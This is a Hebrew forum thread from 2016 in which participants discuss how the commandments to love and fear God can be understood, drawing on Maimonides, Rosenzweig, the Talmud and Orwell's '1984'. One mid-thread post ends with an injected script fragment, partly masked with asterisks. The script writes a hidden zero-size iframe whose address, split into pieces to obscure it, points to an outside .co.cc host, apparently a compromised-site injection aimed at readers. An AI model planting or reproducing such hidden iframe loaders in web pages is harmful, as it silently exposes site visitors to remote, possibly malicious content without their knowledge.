| נשלח ב-23/8/2016 16:02 |
 |
| |
אהבה ויראה
בפרשיות השבוע אנחנו קוראים על מצוות אהבת ויראת ה'.
מהי המשמעות של ציווי על אהבה? איני מתכוון לשאלה האם ניתן לצוות על רגשות, אלא כיצד ניתן לצפות מאדם שיאהב מישהו.
כל אדם רוצה להרגיש אהוב. אם אני רוצה להרגיש אהוב על ידי ילדי, אני לא אצווה עליהם לאהוב אותי. אני יכול לפעול לטובתם, לאהוב אותם, ולצפות שהם יחזירו לי אהבה, ואתאכזב אם הם לא יחזירו לי אהבה. האם ניתן לצוות עליהם לאהוב? לצוות עליהם ליראה אותי ולאיים עליהם בעונשים, ושהם יחזירו לי אהבה?
ייתכן ויענו שאהבת ה' היא קיום המצוות, אולם אם כן זה שימוש חריג לחלוטין במילה אהבה.
שאלה דומה קיימת על המושג יראת ה'. הרמב"ם בספר המצוות מגדיר אותה כיראת העונש, בצורה שאולי היינו קצת מתפלאים לשמוע מהרמב"ם. ושוב, מה משמעות המצווה, האם המשמעות היא רק לדעת שאם נחטא, נקבל את עונשינו? ואם היא רק תוספת אזהרה על קיום המצוות, הרי לפי שיטת הרמב"ם היא מצווה כללית שאין למנות אותה במיין המצוות?
|
|
|
|
| נשלח ב-23/8/2016 16:21 |
|
| |
אני הייתי מגדיר אהבה כ"רצון לאיחוד כוחות". כאשר אני רואה מישהו שנראה לי שתהיה הנאה מקשר בינינו, אני בעקבות זאת מחליט "לאהוב" אותו, הוי אומר, לפעול יחד איתו בשיתוף פעולה, באופן שאכן ייצור את ההנאה המיוחלת. לכן, בעיני - במצווה "לאהוב", הינה כמו המצווה "ובחרת בחיים". כמובן שלא צריך "לצוות", אבל "אין צו אלא לשון זירוז" - ואין מזרזין אלא למזורזין, היינו כאשר יש לי סיבה לאהוב אז מצווים עליי לאהוב, כלומר פשוט מפנים את תשומת ליבי לכך שכדאי לי לאהוב. והוא הדין ביראה.
|
|
|
|
| נשלח ב-24/8/2016 00:25 |
|
| |
העלית נקודה יפה. ויש להוסיף ולשאול עוד, איך בני אדם מקיימים את המצוה הזאת? האם ריאלי לאהוב מישהו רק כי הוא ציווה עלי לעשות זאת? ולדעתי יש להבדיל בין שני היבטים בקב"ה, ושני סוגי אהבה הנגזרים מהם. מצד אחד, הא-ל הוא ישות פרסונאלית, וככזה האהבה שהוא מעוניין בה היא אהבה פרסונאלית כאהבת איש לאשתו וידיד לידידו. מצד שני, הא-ל הוא רעיון, עיקרון, כח טבע ובעיקר ישות דתית (אני מתכוון לפונקציה שממלא הא-ל בתודעתנו, שהרי מדובר כאן על מערכת היחסים בין תודעתנו אליו) . גם רעיון אפשר לאהוב, אבל אי אפשר להתאהב בו. האהבה שלנו לרעיון פועלת בצורה שונה לחלוטין מאהבה לישות. ועל אהבה כזו ניתן לצוות. אתה רוצה שהילד שלך יאהב את הטוב וישנא את הרע, והגיוני שתצווה עליו לעשות זאת, אם זה יעזור. האהבה שהא-ל דורש היא האהבה הדתית, שקרובה לאהבת רעיון ומעט שונה ממנו, כי היא מונעת ע"י רגש ההערצה הדתי ולכן יכולה להיות חזקה הרבה יותר. לכן, ניתן לצוות עליה. נשלח מהאנדרואיד שלי
|
|
|
|
| נשלח ב-24/8/2016 07:42 |
|
| |
כמו "ואהבת לרעך כמוך", שאין היא "עבודה שבלב", אלא הכוונה שההתנהגות כלפי החבר תהיה התנהגות של אהבה
|
|
|
|
| נשלח ב-24/8/2016 08:09 |
|
| |
לדברי קודמי, אין כאן ציווי שבלב, אלא על הצגה חיצונית בלבד. ומאד ייתכן שכך סברו חז"ל, שיהיה שם שמים מתאהב על ידיך, בכל נפשך, אפי נוטל את נפשך וכו'. אולם התינח באהבה לבשר ודם שאינו רואה אלא לעיניים אבל כלפי רבש"ע שבוחן כליות ולב האם אין בכך סתירה מיניה וביה?
|
|
|
|
| נשלח ב-24/8/2016 08:21 |
|
| |
צופר
ברוך השב!
העלית כמה שאלות גדולות מאד, שראוי מאד לעסוק בהן.
הרשה לי לקצר בתקוה שגם המועט יתרום.
יש לכאורה שתי דרכים לענות על השאלה: איך מצוים על אהבה.
האחת היא לפרש את ה"אהבה" לא כרגש המוכר לנו בין ילד להוריו או בין איש לאשתו. למשל, שמדובר בנאמנות. ואז "ואהבת את ה' אלקיך" זו דרישה לשמור מצוות בנאמנות.
בדומה לכך הוציאו חכמים את הלשון מפשוטו כאשר דרשו: "שיהיה שם שמים מתאהב על ידך". לא אהבה בין האדם לבורא אלא דרישה לגרום לבריות לאהוב את התורה ולהעריך את נותן התורה .
וכמאמרם:
תלמוד בבלי מסכת יומא דף פו עמוד א
ואהבת את ה' אלהיך - שיהא שם שמים מתאהב על ידך, שיהא קורא ושונה ומשמש תלמידי חכמים, ויהא משאו ומתנו בנחת עם הבריות, מה הבריות אומרות עליו - אשרי אביו שלמדו תורה, אשרי רבו שלמדו תורה. אוי להם לבריות שלא למדו תורה, פלוני שלמדו תורה - ראו כמה נאים דרכיו, כמה מתוקנים מעשיו, עליו הכתוב אומר ויאמר לי עבדי אתה ישראל אשר בך אתפאר.
***
דרך אחרת לגמרי מציע פרנץ רוזנצוויג, ודבריו הם אכן הברקה גדולה.
הוא אומר: יש רק אחד שיכול לתבוע אהבה מן הנאהב. וזה האוהב. משל לדבר הוא מי שמתאהב באשה. הוא רוצה שהיא תשיב לו אהבה. אני אוהב אז אני רוצה שהיא תאהב אותי כפי שאני אוהב אותה.
כמדומה שהתופעה הזו מוכרת או אמורה להיות מוכרת לכל מי שעבר גיל מסויים, לפחות בתרבות המערבית.
יש לומר שדברי רוזנצוויג הולמים את שיטתו הפילוסופית. יש בני אדם שזכו להכיר את אהבת ה' גם במובן של תחושה שה' אוהב אותם, מתעניין בהם, וזה מה שנקרא אצלו "גאולה". זו תפיסה שמעמידה אותו בין הפילוסופים הקיומיים בעוד האמונה שיש כזה דבר, "גאולה אישית", נראה לי לקוח מן הנצרות. אבל כל זה אינו מעיב על ההברקה שלו. אם אדם זוכה לחוש שה' אוהב אותו, אדם כזה יכול גם להבין שה' רוצה שהאדם יאהב אותו בחזרה.
וכמובן, אותה החויה שעליה מסתמך רוזנצוויג תיתכן רק לפי תפיסות מסויימות ולא אחרות של האלוקים ושל הזיקה בינינו לבינו. הרמב"ם למשל ידחה אותה, אני משער.
אבל שיטתו של רוזנצוויג מספקת מענה נאה לשאלתו של פותח האשכול.
___תוקן כדי למחוק קטע שהועתק מפרוייקט השות שלא בדייקנות______________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 24/08/2016 08:22:26
 |
|
|
|
|
| נשלח ב-24/8/2016 09:30 |
|
| |
על הפירוש הראשון:
רמזתי לכך, אולם כל המוציא מלים מפשוטן עליו הראיה.
על הפירוש השני:
תפיסתו של רוזנצוויג מספקת מענה הולם רק למי שחש את האהבה מהבורא כפשוטה. מה שאומרים לנו הוא שאנו מצווים להרגיש את אהבתו אלינו, כדי שנאהב אותו.
אם תספר לי שמלך הודו אוהב אותי, וכדי לחוש באהבה יהיה עלי לומר שאמנם לא חוויתי אותו מעודי, אולם השפעתו ניכרת בבחינת מלך מסתתר, או מכיוון ששמעתי עליו מאבותי, אוכל לחוש את הרגש הזה?
|
|
|
|
| נשלח ב-24/8/2016 13:18 |
|
| |
במחילה מכ"ת של רוזנצווייג האוהב רשאי לתשוע אהבה? אין מושא האהבה יכול לומר לו איני רוצה באהבתך?
מדוע שלא נפרש עובד מאהבה לרמב"ם מי שעושה האמת מפני שהוא אמת (ואיני נכנס לדיון מנין ידוע שזה אמת)
|
|
|
|
| נשלח ב-24/8/2016 19:44 |
|
| |
תמוה מאד מה שאמר רוזנצוויג. (לפי מיימוני)
כמו שכתב ת"ט אהבה אי אפשר לתבוע. אפשר רק לחכות ולקוות שהנאהב יאהב את רעהו באיזה שהוא שלב בעתיד.
ולגבי אהבת ה' כי ה' אוהב אותנו -לא נראה לי שיהודים בשואה (ושאר פורענויות לאורך הדורות )חשו את האהבה הזאת
|
|
|
|
| נשלח ב-24/8/2016 20:40 |
|
| |
תלמיד, ראה מ''ש למעלה.
ויש בנותן טעם להזכיר את סיפורו הקלאסי של אורוול '1984' שם דורש 'האח הגדול', הרודן האכזר של סוצאנג, שנתיניו יאהבו אותו, הספר מתאר מסע התעללות נפשית שעובר הגיבור עד שבסיום העלילה מצליח הממסד לנצח אותו: הוא אוהב את האח הגדול.
|
|
|
|
| נשלח ב-24/8/2016 20:54 |
|
| |
צופר
במחילה מכבודך ומכבוד אחרים פה, אינני חושב שחז"ל התכוונו לאהבה של פעולות חיצוניות, וגם כשאמרו ובכל נפשך אפי' נוטל את נפשך וכל זה לא הייתה הכוונה אלא שתהיה במצב כזה שכ"כ אכפת לך עד כדי כך, וכבר כתב הגר"א "(ראה אבן שלמה) המרבים לעשות מצוות ואינם שתולים על פלגי האהבה והיראה עליהם הכתוב למה לי רוב זבחיכם. הקב"ה איננו מצפה לפעולות חיצוניות, רחמנא ליבא בעי.
וכמובן שגם התורה שזה נכתב בה - ניתנה בזמן שמה שאמר רוזנצוויג היה דבר שנשמע הגיוני בהקשרו, היינו שהוציאנו ממצרים וקרע לנו את הים וקרבנו לפני הר סיני וכו'. ועל כן אנו יכולים להבין שיש סיבה טובה לאהוב. ומי שאינו מכיר באהבת ה' אותו, הרי שמצווה עליו לחפש אותה. אם לא מצא אינני יודע מה לומר לו, אלא לנסות לעזור לו להמשיך לחפש. עד שימצא.
|
|
|
|
| נשלח ב-25/8/2016 08:38 |
|
| |
אריאלעושה את האמת מפני שהוא אמת אינו בדיוק אהבת הרעיון?
|
|
|
|
|
| נשלח ב-25/8/2016 08:49 |
|
| |
י"ל היה נוהג לומר שמי שאומר שהוא אוהב דג מלוח אינו אוהב את הדג אלא את עצמו.לכן הוא הסיק שאהבהת ה' היא קיום המצוות.
ידוע ביטויו של הראשית חכמה: "מי שלא חשק באשה הוא דומה לחמור ופחות ממנו, והטעם כי מן המורגש צריך שיבחין העבודה האלוקית".
מהי אם כן אהבת אשה? אדם אוהב את אשתו, האם הוא אוהב אותה, אוהב את עצמו, או שהדיכוטומיה כלל אינה קיימת?
|
|
|
|
| נשלח ב-25/8/2016 09:54 |
|
| |
בעל
ידוע לך היטב שהסיבה העיקרית של יל היא שהוא לא הצליח לצייר לעצמו אהבת משהו ערטילאי.
אני מניח שהראשית (נדמה לי שזה המקור הנכון) חכמה חכמה דבר באשה ממשית
תוקן על ידי תלמידטועה ב- 25/08/2016 10:11:43
|
|
|
|
| נשלח ב-25/8/2016 11:22 |
|
| |
להבנתי האהבה כאן הוא כמו 'חן מקום על יושביו' שהוא מתוך האהבה והחיבור של האדם למקום שלו שגם הוא חלק ממנו עצמו, והוא המקום שבו הוא חי. והוא בדיוק כמו שהאדם אוהב את גופו והוא לא רק נהנה ממנו, אלא הוא מזוהה עם החלק העצמי שלו, וכך הוא בדיוק עם המקום הזמן והעם שבקרבו הוא חי. וכך הוא גם עם הבורא כשיש לו מקום בתוכו.
ובעיקר הדבר האהבה היא רק שלב נוסף על היראה, שהוא ההכרה עצמה בנוכחות של מי שיראים ממנו, ורק מאחר שהוא כבר נוכח הוא נעשה לחלק מהחיים עצמם, ואין אדם שלא אוהב את חייו ומחובר אליהם.
עיקר ביטוי האהבה הוא בעיקר כלשון הכתוב 'אוהבי ה' שינאו רע' הבריאה כולה היא הטוב והוא הנוכחות והיש עצמו, ושנאת הרע הוא כל דבר שהוא הפך היש המלא הזה. שנאת הרע הוא מאחר הפנמת הטוב שהוא לא רק נחמד למראה וטוב למאכל אלא יש בו גם אמת, וכשהטוב הופך לאמת הכרת הטוב הופכת לחלק מהאדם עצמו, והאדם שונא את כל מה שעומד מכנגד וסותר את מה שהוא בעצמו. והוא המטרה באהבת ה' מה הוא רחום וכו'.
ומכאן לשאלה איך ניתן לצוות ועוד הרי לא ניתן לצוות על רגש. אלא שהחובה באהבה הוא לא דבר שעומד בפני עצמו וכל הקיום שלו הוא רק מתוך היראה שקודמת לו, והיראה מגלה את המקום הזה שבו האדם צריך לחיות, והמקום הזה הוא בהכרת מציאות ה' והיש והטוב שממנו, והוא הקיום בהוויה ולא בחי ובמורגש בלבד. והקיום מתוך המקום הזה הוא קיום אחר לגמרי, ומכאן הציווי על האהבה שהוא ההשלמה של החיים במקום הזה, והוא המקום עליו ניתן לומר 'תחת אשר לא עבדת את ה' בשמחה' והיא עבדות אלא שיש בה חרות. וכידוע.
|
|
|
|
|
| נשלח ב-25/8/2016 11:46 |
|
| |
ת"ט
הוא גם לא הצליח לתאר לעצמו אהבה שאינה אהבה עצמית, כי אחרת משל הדג מלוח מאבד את משמעותו.
הראשית חכמה במפורש מדבר באשה ממשית.
|
|
|
|
|
